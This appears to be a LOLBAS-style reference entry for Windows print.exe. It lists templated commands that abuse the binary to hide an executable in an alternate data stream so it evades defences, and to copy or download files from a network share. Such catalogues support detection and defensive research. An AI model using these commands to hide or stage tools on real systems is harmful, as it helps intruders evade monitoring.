Print.exe

type: OSBinaries
Used by Windows to send files to the printer

Full path

C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe

Commands

  1. ADSUser T1564.004

    Hide binary file in alternate data stream to potentially bypass defensive counter measures

    print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}

    Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  2. CopyUser T1105

    Copy files

    print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}

    Copy file from source to destination

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  3. CopyUser T1105

    Copy/Download file from remote server

    print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}

    Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Resources

acknowledgement: Oddvar Moe @oddvarmoe